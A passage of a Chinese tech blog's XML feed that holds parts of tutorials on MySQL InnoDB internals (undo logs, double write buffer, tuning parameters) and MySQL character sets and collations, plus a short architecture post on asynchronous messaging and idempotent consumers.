单个Undo表空间最大大小</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-Undo-Log类型"><a href="#6-3-Undo-Log类型" class="headerlink" title="6.3 Undo Log类型"></a>6.3 Undo Log类型</h2><p><strong>insert undo log</strong>：</p><ul><li>INSERT操作产生</li><li>事务提交后即可删除（不需要MVCC）</li></ul><p><strong>update undo log</strong>：</p><ul><li>UPDATE/DELETE产生</li><li>需要保留到没有更早的ReadView存在</li></ul><p>#</p><h2 id="6-4-Undo-Log清理"><a href="#6-4-Undo-Log清理" class="headerlink" title="6.4 Undo Log清理"></a>6.4 Undo Log清理</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Purge线程负责清理：</span><br><span class="line">1. 找到所有活跃ReadView中最老的trx_id</span><br><span class="line">2. 删除比该trx_id更早且已提交的Undo Log</span><br><span class="line">3. 清理标记为删除的记录</span><br></pre></td></tr></table></figure><h2 id="七、Double-Write-Buffer"><a href="#七、Double-Write-Buffer" class="headerlink" title="七、Double Write Buffer"></a>七、Double Write Buffer</h2><p>#</p><h2 id="7-1-部分写问题"><a href="#7-1-部分写问题" class="headerlink" title="7.1 部分写问题"></a>7.1 部分写问题</h2><p>16KB的页写到磁盘时，如果写到一半服务器宕机，页可能损坏（partial page write）。</p><p>#</p><h2 id="7-2-Double-Write机制"><a href="#7-2-Double-Write机制" class="headerlink" title="7.2 Double Write机制"></a>7.2 Double Write机制</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. 脏页刷盘前，先复制到Double Write Buffer（2MB，顺序写）</span><br><span class="line">2. 再将脏页写到数据文件（随机写）</span><br><span class="line">3. 如果写数据文件时崩溃：</span><br><span class="line">   - 从Double Write Buffer恢复完整页</span><br><span class="line">   - 再根据Redo Log恢复</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-配置"><a href="#7-3-配置" class="headerlink" title="7.3 配置"></a>7.3 配置</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 开启Double Write（默认开启）</span></span><br><span class="line"><span class="attr">innodb_doublewrite</span> = <span class="literal">ON</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 原子写支持（某些SSD支持16KB原子写，可关闭Double Write）</span></span><br><span class="line"><span class="comment"># innodb_doublewrite = OFF  # 仅当存储支持原子写时</span></span><br></pre></td></tr></table></figure><h2 id="八、关键参数汇总"><a href="#八、关键参数汇总" class="headerlink" title="八、关键参数汇总"></a>八、关键参数汇总</h2><table><thead><tr><th>参数</th><th>推荐值</th><th>说明</th></tr></thead><tbody><tr><td>innodb_buffer_pool_size</td><td>物理内存50%-75%</td><td>缓存数据页</td></tr><tr><td>innodb_buffer_pool_instances</td><td>4-8</td><td>Buffer Pool实例数</td></tr><tr><td>innodb_log_file_size</td><td>1-2G</td><td>Redo Log文件大小</td></tr><tr><td>innodb_log_files_in_group</td><td>2-4</td><td>Redo Log文件数</td></tr><tr><td>innodb_flush_log_at_trx_commit</td><td>1或2</td><td>提交刷盘策略</td></tr><tr><td>innodb_flush_method</td><td>O_DIRECT</td><td>直接IO，避免OS缓存</td></tr><tr><td>innodb_io_capacity</td><td>200-2000</td><td>磁盘IO能力</td></tr><tr><td>innodb_read_io_threads</td><td>4-16</td><td>读IO线程数</td></tr><tr><td>innodb_write_io_threads</td><td>4-16</td><td>写IO线程数</td></tr><tr><td>innodb_change_buffer_max_size</td><td>25</td><td>Change Buffer比例</td></tr><tr><td>innodb_adaptive_hash_index</td><td>ON</td><td>自适应哈希索引</td></tr></tbody></table><h2 id="九、InnoDB状态监控"><a href="#九、InnoDB状态监控" class="headerlink" title="九、InnoDB状态监控"></a>九、InnoDB状态监控</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看InnoDB状态（大量信息）</span></span><br><span class="line"><span class="keyword">SHOW</span> ENGINE INNODB STATUS;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- Buffer Pool命中率</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    (<span class="number">1</span> <span class="operator">-</span> <span class="built_in">SUM</span>(VARIABLE_VALUE) <span class="operator">/</span> </span><br><span class="line">     (<span class="keyword">SELECT</span> VARIABLE_VALUE </span><br><span class="line">      <span class="keyword">FROM</span> performance_schema.global_status </span><br><span class="line">      <span class="keyword">WHERE</span> VARIABLE_NAME <span class="operator">=</span> <span class="string">&#x27;Innodb_buffer_pool_read_requests&#x27;</span>)</span><br><span class="line">    ) <span class="operator">*</span> <span class="number">100</span> <span class="keyword">AS</span> hit_ratio</span><br><span class="line"><span class="keyword">FROM</span> performance_schema.global_status</span><br><span class="line"><span class="keyword">WHERE</span> VARIABLE_NAME <span class="operator">=</span> <span class="string">&#x27;Innodb_buffer_pool_reads&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看Buffer Pool详情（MySQL 8.0）</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    POOL_ID,</span><br><span class="line">    POOL_SIZE,</span><br><span class="line">    FREE_BUFFERS,</span><br><span class="line">    DATABASE_PAGES,</span><br><span class="line">    OLD_DATABASE_PAGES,</span><br><span class="line">    PAGES_MADE_YOUNG,</span><br><span class="line">    PAGES_NOT_MADE_YOUNG</span><br><span class="line"><span class="keyword">FROM</span> information_schema.innodb_buffer_pool_stats;</span><br></pre></td></tr></table></figure><h2 id="十、总结"><a href="#十、总结" class="headerlink" title="十、总结"></a>十、总结</h2><table><thead><tr><th>组件</th><th>作用</th><th>关键配置</th></tr></thead><tbody><tr><td>Buffer Pool</td><td>缓存数据和索引页</td><td>buffer_pool_size</td></tr><tr><td>Change Buffer</td><td>缓存二级索引修改</td><td>change_buffer_max_size</td></tr><tr><td>Adaptive Hash</td><td>加速等值查询</td><td>adaptive_hash_index</td></tr><tr><td>Redo Log</td><td>保证持久性</td><td>log_file_size, flush_log_at_trx_commit</td></tr><tr><td>Undo Log</td><td>回滚和MVCC</td><td>undo_tablespaces</td></tr><tr><td>Double Write</td><td>防止部分写</td><td>doublewrite</td></tr></tbody></table><p>InnoDB的核心设计思想：</p><ol><li><strong>写优先</strong>：顺序写Redo Log，异步随机写数据页</li><li><strong>读优化</strong>：Buffer Pool缓存热点数据，AHI加速查询</li><li><strong>空间换时间</strong>：Change Buffer减少随机IO</li><li><strong>安全机制</strong>：Double Write保证页完整性</li></ol><p>理解这些机制，有助于：</p><ul><li>合理配置InnoDB参数</li><li>诊断性能问题</li><li>优化SQL和表结构</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>文件上传服务如何保证稳定</title>
      <link href="//wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/"/>
      <url>//wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/</url>
      
        <content type="html"><![CDATA[<h1 id="文件上传服务如何保证稳定"><a href="#文件上传服务如何保证稳定" class="headerlink" title="文件上传服务如何保证稳定"></a>文件上传服务如何保证稳定</h1><p>文件上传服务需要考虑大小限制、存储方案和稳定性。本文讲一些实用经验。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL字符集与排序规则</title>
      <link href="//mysql-charset-collation/"/>
      <url>//mysql-charset-collation/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL字符集与排序规则"><a href="#MySQL字符集与排序规则" class="headerlink" title="MySQL字符集与排序规则"></a>MySQL字符集与排序规则</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、字符集基础"><a href="#一、字符集基础" class="headerlink" title="一、字符集基础"></a>一、字符集基础</h2><p>#</p><h2 id="1-1-什么是字符集"><a href="#1-1-什么是字符集" class="headerlink" title="1.1 什么是字符集"></a>1.1 什么是字符集</h2><p>字符集（Character Set）是字符到二进制编码的映射：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">字符 &#x27;A&#x27; → ASCII → 01000001 (0x41)</span><br><span class="line">字符 &#x27;中&#x27; → UTF-8 → 11100100 10111000 10101101 (0xE4B8AD)</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-MySQL支持的字符集"><a href="#1-2-MySQL支持的字符集" class="headerlink" title="1.2 MySQL支持的字符集"></a>1.2 MySQL支持的字符集</h2><table><thead><tr><th>字符集</th><th>每个字符最大字节</th><th>支持范围</th><th>说明</th></tr></thead><tbody><tr><td>latin1</td><td>1</td><td>西欧语言</td><td>MySQL 5.x默认</td></tr><tr><td>gbk</td><td>2</td><td>中文简体</td><td>兼容GB2312</td></tr><tr><td>utf8</td><td>3</td><td>BMP平面</td><td>MySQL的utf8实际最多3字节</td></tr><tr><td>utf8mb4</td><td>4</td><td>全Unicode</td><td>真正的UTF-8，推荐</td></tr><tr><td>utf16</td><td>2或4</td><td>全Unicode</td><td>定长或变长</td></tr></tbody></table><p>#</p><h2 id="1-3-UTF-8-vs-UTF-8MB4"><a href="#1-3-UTF-8-vs-UTF-8MB4" class="headerlink" title="1.3 UTF-8 vs UTF-8MB4"></a>1.3 UTF-8 vs UTF-8MB4</h2><p>MySQL的<code>utf8</code>是阉割版的UTF-8，最多使用3字节：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">UTF-8编码规则：</span><br><span class="line">- 1字节：0xxxxxxx（ASCII）</span><br><span class="line">- 2字节：110xxxxx 10xxxxxx</span><br><span class="line">- 3字节：1110xxxx 10xxxxxx 10xxxxxx</span><br><span class="line">- 4字节：11110xxx 10xxxxxx 10xxxxxx 10xxxxxx</span><br><span class="line"></span><br><span class="line">MySQL utf8：只支持1-3字节（最大0xFFFF）</span><br><span class="line">MySQL utf8mb4：支持1-4字节（完整Unicode）</span><br></pre></td></tr></table></figure><p><strong>4字节字符示例</strong>：emoji、一些生僻汉字、音乐符号</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- utf8存储emoji会报错</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> test_utf8 (content) <span class="keyword">VALUES</span> (<span class="string">&#x27;Hello 😀&#x27;</span>);</span><br><span class="line"><span class="comment">-- ERROR 1366: Incorrect string value</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- utf8mb4正常存储</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> test_utf8mb4 (content) <span class="keyword">VALUES</span> (<span class="string">&#x27;Hello 😀&#x27;</span>);</span><br><span class="line"><span class="comment">-- 成功</span></span><br></pre></td></tr></table></figure><h2 id="二、排序规则（Collation）"><a href="#二、排序规则（Collation）" class="headerlink" title="二、排序规则（Collation）"></a>二、排序规则（Collation）</h2><p>#</p><h2 id="2-1-什么是排序规则"><a href="#2-1-什么是排序规则" class="headerlink" title="2.1 什么是排序规则"></a>2.1 什么是排序规则</h2><p>排序规则定义字符的比较和排序规则：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 不同排序规则，&#x27;a&#x27;和&#x27;A&#x27;的比较结果不同</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="string">&#x27;a&#x27;</span> <span class="operator">=</span> <span class="string">&#x27;A&#x27;</span> <span class="keyword">COLLATE</span> utf8mb4_general_ci;  <span class="comment">-- 1（相等，不区分大小写）</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="string">&#x27;a&#x27;</span> <span class="operator">=</span> <span class="string">&#x27;A&#x27;</span> <span class="keyword">COLLATE</span> utf8mb4_bin;         <span class="comment">-- 0（不相等，二进制比较）</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-排序规则命名规则"><a href="#2-2-排序规则命名规则" class="headerlink" title="2.2 排序规则命名规则"></a>2.2 排序规则命名规则</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">utf8mb4_0900_ai_ci</span><br><span class="line">│      │    │ │ │</span><br><span class="line">│      │    │ │ └── ci = case insensitive（不区分大小写）</span><br><span class="line">│      │    │ └──── ai = accent insensitive（不区分重音）</span><br><span class="line">│      │    └────── 0900 = Unicode版本9.0</span><br><span class="line">│      └─────────── utf8mb4 = 字符集</span><br></pre></td></tr></table></figure><p>常见后缀：<br>| 后缀 | 含义 |<br>|——|——|<br>| _ci | Case Insensitive，不区分大小写 |<br>| _cs | Case Sensitive，区分大小写 |<br>| _bin | Binary，二进制比较 |<br>| _ai | Accent Insensitive，不区分重音 |<br>| _as | Accent Sensitive，区分重音 |</p><p>#</p><h2 id="2-3-常用排序规则对比"><a href="#2-3-常用排序规则对比" class="headerlink" title="2.3 常用排序规则对比"></a>2.3 常用排序规则对比</h2><table><thead><tr><th>排序规则</th><th>‘A’=’a’</th><th>‘a’=’á’</th><th>性能</th><th>说明</th></tr></thead><tbody><tr><td>utf8mb4_general_ci</td><td>是</td><td>是</td><td>快</td><td>简单规则，可能不准确</td></tr><tr><td>utf8mb4_unicode_ci</td><td>是</td><td>是</td><td>中</td><td>遵循Unicode标准</td></tr><tr><td>utf8mb4_0900_ai_ci</td><td>是</td><td>是</td><td>中</td><td>MySQL 8.0默认，Unicode 9.0</td></tr><tr><td>utf8mb4_bin</td><td>否</td><td>否</td><td>最快</td><td>二进制，区分大小写</td></tr></tbody></table><h2 id="三、MySQL字符集层级"><a href="#三、MySQL字符集层级" class="headerlink" title="三、MySQL字符集层级"></a>三、MySQL字符集层级</h2><p>#</p><h2 id="3-1-六级字符集设置"><a href="#3-1-六级字符集设置" class="headerlink" title="3.1 六级字符集设置"></a>3.1 六级字符集设置</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">服务器级（server）</span><br><span class="line">    │</span><br><span class="line">    ├── 数据库级（database）</span><br><span class="line">    │       │</span><br><span class="line">    │       ├── 表级（table）</span><br><span class="line">    │       │       │</span><br><span class="line">    │       │       ├── 列级（column）</span><br><span class="line">    │       │       │       │</span><br><span class="line">    │       │       │       ├── 客户端连接（connection）</span><br><span class="line">    │       │       │       │       │</span><br><span class="line">    │       │       │       │       └── 查询结果（results）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-各级别查看和设置"><a href="#3-2-各级别查看和设置" class="headerlink" title="3.2 各级别查看和设置"></a>3.2 各级别查看和设置</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 服务器级</span></span><br><span class="line"><span class="keyword">SHOW</span> VARIABLES <span class="keyword">LIKE</span> <span class="string">&#x27;character_set_server&#x27;</span>;</span><br><span class="line"><span class="keyword">SHOW</span> VARIABLES <span class="keyword">LIKE</span> <span class="string">&#x27;collation_server&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 数据库级</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">CREATE</span> DATABASE mydb;</span><br><span class="line"><span class="comment">-- 或</span></span><br><span class="line"><span class="keyword">SELECT</span> DEFAULT_CHARACTER_SET_NAME, DEFAULT_COLLATION_NAME </span><br><span class="line"><span class="keyword">FROM</span> information_schema.SCHEMATA <span class="keyword">WHERE</span> SCHEMA_NAME <span class="operator">=</span> <span class="string">&#x27;mydb&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 表级</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">CREATE TABLE</span> mytable;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 列级</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">FULL</span> COLUMNS <span class="keyword">FROM</span> mytable;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-连接字符集"><a href="#3-3-连接字符集" class="headerlink" title="3.3 连接字符集"></a>3.3 连接字符集</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看连接相关字符集</span></span><br><span class="line"><span class="keyword">SHOW</span> VARIABLES <span class="keyword">LIKE</span> <span class="string">&#x27;character_set_%&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 典型输出：</span></span><br><span class="line"><span class="comment">-- character_set_client     : 客户端发送的SQL编码</span></span><br><span class="line"><span class="comment">-- character_set_connection : 服务器接收后的转换编码</span></span><br><span class="line"><span class="comment">-- character_set_results    : 返回给客户端的编码</span></span><br><span class="line"><span class="comment">-- character_set_database   : 当前数据库编码</span></span><br><span class="line"><span class="comment">-- character_set_server     : 服务器默认编码</span></span><br><span class="line"><span class="comment">-- character_set_system     : 系统元数据编码（固定utf8）</span></span><br></pre></td></tr></table></figure><p><strong>连接字符集工作流程</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">客户端（UTF-8）</span><br><span class="line">    │</span><br><span class="line">    │ 发送SQL（UTF-8）</span><br><span class="line">    ▼</span><br><span class="line">character_set_client = utf8mb4</span><br><span class="line">    │</span><br><span class="line">    │ 转换为connection编码</span><br><span class="line">    ▼</span><br><span class="line">character_set_connection = utf8mb4</span><br><span class="line">    │</span><br><span class="line">    │ 执行查询</span><br><span class="line">    ▼</span><br><span class="line">character_set_results = utf8mb4</span><br><span class="line">    │</span><br><span class="line">    │ 转换为results编码</span><br><span class="line">    ▼</span><br><span class="line">客户端接收（UTF-8）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-4-统一设置字符集"><a href="#3-4-统一设置字符集" class="headerlink" title="3.4 统一设置字符集"></a>3.4 统一设置字符集</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="section">[mysqld]</span></span><br><span class="line"><span class="comment"># 服务器默认字符集</span></span><br><span class="line"><span class="attr">character-set-server</span> = utf8mb4</span><br><span class="line"><span class="attr">collation-server</span> = utf8mb4_unicode_ci</span><br><span class="line"></span><br><span class="line"><span class="comment"># 客户端连接字符集</span></span><br><span class="line"><span class="attr">init_connect</span> = <span class="string">&#x27;SET NAMES utf8mb4&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 跳过字符集校验（避免客户端指定字符集）</span></span><br><span class="line"><span class="comment"># skip-character-set-client-handshake</span></span><br></pre></td></tr></table></figure><p>或在连接时指定：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- JDBC连接串</span></span><br><span class="line">jdbc:mysql:<span class="operator">/</span><span class="operator">/</span>localhost:<span class="number">3306</span><span class="operator">/</span>mydb?useUnicode<span class="operator">=</span><span class="literal">true</span><span class="operator">&amp;</span>characterEncoding<span class="operator">=</span>utf8mb4</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 连接后执行</span></span><br><span class="line"><span class="keyword">SET</span> NAMES utf8mb4;</span><br><span class="line"><span class="comment">-- 等效于：</span></span><br><span class="line"><span class="keyword">SET</span> character_set_client <span class="operator">=</span> utf8mb4;</span><br><span class="line"><span class="keyword">SET</span> character_set_results <span class="operator">=</span> utf8mb4;</span><br><span class="line"><span class="keyword">SET</span> character_set_connection <span class="operator">=</span> utf8mb4;</span><br></pre></td></tr></table></figure><h2 id="四、字符集转换问题"><a href="#四、字符集转换问题" class="headerlink" title="四、字符集转换问题"></a>四、字符集转换问题</h2><p>#</p><h2 id="4-1-转换原理"><a href="#4-1-转换原理" class="headerlink" title="4.1 转换原理"></a>4.1 转换原理</h2><p>当字符集不同时，MySQL会进行转换：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">客户端(UTF-8) → 服务端(GBK存储)</span><br><span class="line">    ↓</span><br><span class="line">UTF-8字符 → 解码为Unicode → 编码为GBK → 存储</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-常见乱码问题"><a href="#4-2-常见乱码问题" class="headerlink" title="4.2 常见乱码问题"></a>4.2 常见乱码问题</h2><p><strong>问题一：乱码存储</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">现象：存储&quot;中文&quot;，查询显示&quot;??&quot;或乱码</span><br><span class="line"></span><br><span class="line">原因：客户端编码和connection编码不一致</span><br><span class="line"></span><br><span class="line">解决：</span><br><span class="line">SET NAMES utf8mb4;</span><br><span class="line">-- 或JDBC连接加 ?characterEncoding=utf8mb4</span><br></pre></td></tr></table></figure><p><strong>问题二：截断问题</strong></p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- VARCHAR(10)在utf8mb4下最多存10个字符</span></span><br><span class="line"><span class="comment">-- 但某些字符（如emoji）是4字节</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 存储5个emoji：</span></span><br><span class="line"><span class="keyword">INSERT INTO</span> test (content) <span class="keyword">VALUES</span> (<span class="string">&#x27;😀😁😂🤣😃&#x27;</span>);</span><br><span class="line"><span class="comment">-- 如果字段是VARCHAR(4)，会报错：Data too long</span></span><br></pre></td></tr></table></figure><p><strong>问题三：字符集转换导致索引失效</strong></p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 表是utf8mb4，传入utf8</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;张三&#x27;</span>;</span><br><span class="line"><span class="comment">-- name列可能无法使用索引（发生隐式转换）</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 解决：确保连接字符集和表字符集一致</span></span><br><span class="line"><span class="keyword">SET</span> NAMES utf8mb4;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-字符集转换函数"><a href="#4-3-字符集转换函数" class="headerlink" title="4.3 字符集转换函数"></a>4.3 字符集转换函数</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看字符串的十六进制</span></span><br><span class="line"><span class="keyword">SELECT</span> HEX(<span class="string">&#x27;中&#x27;</span>);           <span class="comment">-- E4B8AD（UTF-8）</span></span><br><span class="line"><span class="keyword">SELECT</span> HEX(<span class="keyword">CONVERT</span>(<span class="string">&#x27;中&#x27;</span> <span class="keyword">USING</span> gbk));  <span class="comment">-- D6D0（GBK）</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 转换编码</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="keyword">CONVERT</span>(<span class="string">&#x27;中&#x27;</span> <span class="keyword">USING</span> utf8mb4);</span><br><span class="line"><span class="keyword">SELECT</span> _utf8mb4 <span class="string">&#x27;中&#x27;</span>;       <span class="comment">-- 指定字符串字符集</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 检查字段实际存储的字节</span></span><br><span class="line"><span class="keyword">SELECT</span> LENGTH(content), <span class="keyword">CHAR_LENGTH</span>(content) <span class="keyword">FROM</span> test;</span><br><span class="line"><span class="comment">-- LENGTH：字节数</span></span><br><span class="line"><span class="comment">-- CHAR_LENGTH：字符数</span></span><br></pre></td></tr></table></figure><h2 id="五、生产环境配置"><a href="#五、生产环境配置" class="headerlink" title="五、生产环境配置"></a>五、生产环境配置</h2><p>#</p><h2 id="5-1-推荐配置"><a href="#5-1-推荐配置" class="headerlink" title="5.1 推荐配置"></a>5.1 推荐配置</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="section">[mysqld]</span></span><br><span class="line"><span class="comment"># 使用utf8mb4</span></span><br><span class="line"><span class="attr">character-set-server</span> = utf8mb4</span><br><span class="line"><span class="attr">collation-server</span> = utf8mb<span class="number">4_0900_</span>ai_ci</span><br><span class="line"></span><br><span class="line"><span class="comment"># 连接设置</span></span><br><span class="line"><span class="attr">init_connect</span> = <span class="string">&#x27;SET NAMES utf8mb4&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="section">[client]</span></span><br><span class="line"><span class="attr">default-character-set</span> = utf8mb4</span><br><span class="line"></span><br><span class="line"><span class="section">[mysql]</span></span><br><span class="line"><span class="attr">default-character-set</span> = utf8mb4</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-数据库和表创建"><a href="#5-2-数据库和表创建" class="headerlink" title="5.2 数据库和表创建"></a>5.2 数据库和表创建</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 创建数据库</span></span><br><span class="line"><span class="keyword">CREATE</span> DATABASE mydb</span><br><span class="line">    <span class="keyword">CHARACTER SET</span> utf8mb4</span><br><span class="line">    <span class="keyword">COLLATE</span> utf8mb4_0900_ai_ci;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 创建表</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> <span class="keyword">user</span> (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span>,</span><br><span class="line">    name <span class="type">VARCHAR</span>(<span class="number">50</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_0900_ai_ci,</span><br><span class="line">    <span class="comment">-- 需要区分大小写的字段</span></span><br><span class="line">    code <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_bin</span><br><span class="line">) ENGINE<span class="operator">=</span>InnoDB <span class="keyword">DEFAULT</span> CHARSET<span class="operator">=</span>utf8mb4 <span class="keyword">COLLATE</span><span class="operator">=</span>utf8mb4_0900_ai_ci;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-从UTF-8升级到UTF-8MB4"><a href="#5-3-从UTF-8升级到UTF-8MB4" class="headerlink" title="5.3 从UTF-8升级到UTF-8MB4"></a>5.3 从UTF-8升级到UTF-8MB4</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 步骤1：修改数据库</span></span><br><span class="line"><span class="keyword">ALTER</span> DATABASE mydb <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_0900_ai_ci;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 步骤2：修改表</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> <span class="keyword">user</span> <span class="keyword">CONVERT</span> <span class="keyword">TO</span> <span class="keyword">CHARACTER SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_0900_ai_ci;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 步骤3：修改连接（JDBC）</span></span><br><span class="line"><span class="comment">-- jdbc:mysql://host:3306/mydb?useUnicode=true&amp;characterEncoding=utf8mb4</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 步骤4：修改字段长度（如果有索引长度限制）</span></span><br><span class="line"><span class="comment">-- utf8的VARCHAR(255)是255*3=765字节</span></span><br><span class="line"><span class="comment">-- utf8mb4的VARCHAR(255)是255*4=1020字节</span></span><br><span class="line"><span class="comment">-- InnoDB索引最大767字节（5.6）或3072字节（5.7+）</span></span><br></pre></td></tr></table></figure><p><strong>注意</strong>：</p><ul><li><code>CONVERT TO</code>会锁表，大表需要在低峰期执行</li><li>也可以只修改特定字段：<figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">ALTER TABLE</span> <span class="keyword">user</span> MODIFY name <span class="type">VARCHAR</span>(<span class="number">50</span>) <span class="keyword">CHARACTER SET</span> utf8mb4;</span><br></pre></td></tr></table></figure></li></ul><h2 id="六、排序规则对查询的影响"><a href="#六、排序规则对查询的影响" class="headerlink" title="六、排序规则对查询的影响"></a>六、排序规则对查询的影响</h2><p>#</p><h2 id="6-1-大小写敏感查询"><a href="#6-1-大小写敏感查询" class="headerlink" title="6.1 大小写敏感查询"></a>6.1 大小写敏感查询</h2><figure 